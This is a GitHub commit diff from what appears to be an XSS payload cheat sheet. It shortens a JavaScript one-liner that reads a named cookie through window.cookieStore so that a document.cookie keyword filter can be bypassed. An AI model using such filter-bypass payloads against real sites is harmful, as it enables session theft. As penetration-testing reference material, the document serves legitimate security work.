Shortened payload

Shortened the document.cookie blacklist bypass payload.
This commit is contained in:
Cory Cline 2022-10-13 18:43:54 -05:00 committed by GitHub
parent 5d561ea7d6
commit f23f28c4e2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -780,7 +780,7 @@ window["doc"+"ument"]
This is another way to access cookies on Chrome, Edge, and Opera. Replace COOKIE NAME with the cookie you are after. You may also investigate the getAll() method if that suits your requirements.
```
const cookiePromise=Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
Promise.resolve(window.cookieStore.get('COOKIE NAME')).then((cookieValue)=>{console.log(cookieValue.value);});
```
### Bypass using javascript inside a string